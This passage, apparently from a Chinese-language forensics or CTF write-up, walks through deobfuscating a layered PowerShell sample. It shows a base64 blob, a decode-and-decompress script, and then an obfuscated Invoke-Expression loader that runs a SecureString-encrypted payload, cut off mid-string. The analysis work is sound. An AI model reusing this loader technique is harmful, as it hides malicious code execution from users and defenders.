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"

# 将Base64编码的字符串解码为二进制数据
$binaryData = [System.Convert]::FromBase64String($base64EncodedData)

# 创建内存流并将二进制数据写入其中
$memoryStream = New-Object System.IO.MemoryStream
$memoryStream.Write($binaryData, 0, $binaryData.Length)
$memoryStream.Seek(0, "Begin")

# 创建解压缩流
$deflateStream = New-Object System.IO.Compression.DeflateStream $memoryStream, ([System.IO.Compression.CompressionMode]::Decompress)

# 创建 StreamReader 以从解压缩流中读取文本数据
$streamReader = New-Object System.IO.StreamReader $deflateStream

# 读取解压缩的文本数据
$uncompressedData = $streamReader.ReadToEnd()

# 关闭流
$streamReader.Close()
$deflateStream.Close()
$memoryStream.Close()

# 输出解压缩后的数据
Write-Output $uncompressedData

得到第二轮密文

( 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就是按照 < r _ l :等字符分割提取数据，然后转为16进制即可

.( ([STRINg]$VeRbOSEPrefEReNcE)[1,3]+'X'-jOIN'') ( ([rUNtiME.INTERoPsERvIceS.MaRshal]::PTRtOstrinGBsTr([runtIme.INTeRopSeRviCES.mARShAl]::seCUResTrInGTObsTR( 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GMAYgAwADAANgBlAGYAMAA3ADIAOAA5AGEANgAzAGMAMwA1ADEAZQBjAGEANQBhADUANgA0ADUAZQBjADYAZABlAGUAOQA3AGIANQBhAGQAYwA0AGUAZQBjADYAOQBiAGIAMAAzAGEAYgA3ADQAOAAyAGEANgBlADQANQBkADgAOABkADYAMQBkADkAOAAxADYAYQAyADgAZQA0AGEAOABmAGEAMABmADEANgA0AGMAMAAwADcAYgBkADIANgBkAGYANwBmADEANwA4AGMAMgAzAGMAZgAxADkANABkADQANgA3ADMAMABjADYAYgAyAGYANQAwAGUAYwA0AGQANwBjADEAMgA5ADcAMgA4AGUAZQBkAGMAMAAzAGYANgAwADQANgBmAGMANQA3ADYANgA2AGQAZABkADcANwA5ADUAYwBmADMAMQA5AGMAMwA5ADIAMABmADcAMwBkAGQAZgBiAGMAMQAxAGEAYQAwADIAOQA2ADgAYwAxADIAZQA2ADkAYwBmADEAMgBjADkANwBmAGMAOAA3ADEAZgA2AGEAMABlAGMAOAA5ADkANQBiADIAOQA2ADgAMgA0ADYANwBhADQAZAAyADQAYgBiADQAMAA5ADkAYwBhADAANQBhADAANQAzADIANQA4AGYAZgA5AGEANgA0AGIAYwAxADMANwA1ADkAMQAxADUAMAAzADIAMQBiAGIAMgAxAGYAMwA0AGEAMQA3ADgAZQBiADEAZgBkAGUAZgAxADMAMwA4ADMANgAxADIANgAzAGMAMAA1ADIAOAA0ADEANAA1ADkANwA4ADkAMgBmADMAMgAzAGIAMwBlADcAZQAwAGEAYgA5ADAAZgA1ADUAZQA0AGIANgBmAGMAZgBmADAAZgBlADgAYgAxAGEANQBkADMAOQA5ADMAMgBlAGYAZQAzADEAYwA1ADIAMQAwADUAMAA0ADIAZQBjAGYAMwBiADkAYwA1AGUAMAA1AGEAZgBlAGQANwBmADYAZABlADYAZgBmADcAOAA0ADAAZAA5ADgAZQAzAGIANQA2ADkAYgAwAGIAMQBlADEANwBmADMAMAA1ADgAYwBiAGIAYQAyAGUAMAA0AGMAYQBlAGUAMQBlADgAOQA1ADgAMgAyADAAZABiAGMAYgA1AGYAOAA4ADAAZgA0ADQAOQBkADgAMgBhAGIAOAA2ADUAOAAwADkAZAAzAGIAMQBiAGYANAAzAGMAOABjADEAMQBhADQAMAAzADAAYQBhAGMANwBjAGYANgAxAGIAMABjADkAOABiAGUAZgAwAGUAZABlADEANwAyADQAZQA0ADgAMgAzADAAYgBmADIAOQBlADMAYQA1ADMAOQBjADQAMAA2ADkANwA1ADUANAAyADYANAA1ADMAMQBlADcANQA0ADMAOABkADIAYQAxAGEANQA1ADQAZQA4AGUAYgA4ADQAZQBlADQANABkADYAMgBkADMAOABhADAAOQA3ADcANAAyAGEAMAA2ADcAZgBkADUAYQA2ADkANABhADMAZQA3AGEANgAxADAAZgAyAGUAZgA4ADcANgBlAGYANAAyADEAMQA1AGIANgA3ADAAZQAxADAAYQA0AGYAOQA3ADUAOABmADEAZABiAGIANgA1ADcAYgA4AGQAMQBjADMAMQA5AGQAYwBmADkANQA3ADYAMQA4ADcANwAyAGQAOQBlADQAZQBiADUAZQBkADMAYQA2ADMAZAA1AGYAYgBhADUANQA3ADEAOAAzADgAMgBkADUAMABhAGUAMwBkAGYANwBlAGIAYwBkADQAMQAwAGIAOAAzADIAYQA5AGQANgAwADYAOAAwADAAZABiADcAYgBlADcANQA2AGEAZQA3ADAAOABjADgAOQA4ADUAYQAzAGIAMQA2ADAAMwA5ADUAMAA4ADQANgA5ADAAOQBmADAANQBmADAAZgAxADAAMgAzADQANAA3ADIAOQA5ADYAMABkADcAMABlAGEAYgA0ADgAOABlAGIANgBmADkAMAA0AGUAZQA3ADMAYgA5ADAAMQA3ADYAOQBiADMAMwA0AGUAMgBkADgAZQA2AGEAMgA0AGIANAAzADIAZgAyAGQAYgBlADQANgA4ADkANgBjAGUAMwA0ADgAMwA0AGIAYwBlADIAMAAyAGMAZAA1AGYAMgBkADYANQA0AGYANgBmADUAOQBhADAAMAAyADMAOAAzADIAYgA4AGYAYwBhADAAOQAxAGEANABhADkANAA0AGMANQAyADgAYgBhADcANgA0ADQANwBlADAAOABiADMANwAzADYAOABkAGUANwA1ADAANAAyAGEANwAzADAAYQAyADQAOABiADgANQBiAGUAZAAzADAANgA2ADAAMQA5ADAANQA0AGQAZgA2AGMANwAxAGYAYQA1ADkAMQA1AGUAZQA1ADYAMAA2ADQAYgA1AGIANgBiADIANAA1AGMAYgA0ADAANQBkADkAZgBiADIAZQBhADYAOQA1ADYAMQA0AGMANgBmAGYAOAA4ADcAZQBkADYAYQBkADAAMgBhADIAZgAyAGEAMQBiADkAMAA1ADMANgAzADUAZgA3ADcAYwBlADMAOQA5ADYAMQA0AGUANwA4ADEAMgBiADIAOAAwADYAMwA4ADYAOQBmADYAZgAzADUAZgA5AGEANQA0AGUANwA2ADEANABhADYAMgBkADAAZAAzAGMAYQA5ADEAZgAyADEAMAA3ADIAYgAxADkAMgA4ADMANABiADUAYgA3ADYAOAA2AGYANABkADYAYwA2AGEAOQAzADAAOAA3AGUANgAzAGMAOAA1ADUAMAAxADQANQAwADkANwA2ADgAOABkADgAMQBmAGIAYwAzADcAYgBiADAANwA3ADAAOABjADQANQAwAGEAYQA0ADQAYgA3ADAANgBjAGUAZAA0ADcAOAA3AGIAOABhADcANQBhAGUAYgBlADIAYwBjAGUAOAA2ADYANgBiADcANQBhADMANAAxADYAMgAwADgAYwA2AGEAYQA4AGEAZgA3ADcAYgAzADEAYQA5AGMANAA5AGYANQAxADQAMwAzAGUAMwAwAGEAZABlADAAZAA1ADYAOAAzAGUAYwA5ADMAZAA3ADQANQAxADEAZgAxAGMANABhADkAYwAxADYANQBkADUAMAA3AGMAMQBkADcAOQA2ADIAMgA0AGEAMgAyAGMAMgBjADQANAAyAGEAMABiAGEAZgAyAGQAZgBiAGIANwBiAGMANABmADUAMABjADEAMgAxAGQAYQAxADAAZgA2AGEAYgBlAGMAOQA1AGMAMQAyAGQAZgA4ADEANwA2AGQAZgA3ADQAYQA0ADEANABmADQAMQAzAGEANgA3ADkAZABmAGUAYgAxAGUAOAAyADYAMgA2AGQAZgA5ADIANwBlADUANwAxAGQAMQBmADgAOQBlADQAZgAxADEAYwA3ADQAOQAxAGQANgAxADcAOAA4ADEAYQBjADIAYwBjAGYAMwBkAGMANABhAGEAYwBmADIANQA3AGUAMQBiAGIAMwAwADcANQAzADkAMgBmAGMAYwBjADIAZQBjADMAMAA5ADQAZAAwAGEAYgA3AGQANQA3ADYAYQA0ADUAOQAyAGYAZAAyADkAMABiADUAYgA2ADUANgAyAGIANAA3AGQAOABjADgAOQA0AGUANAA0ADkANwA2ADEANwAwA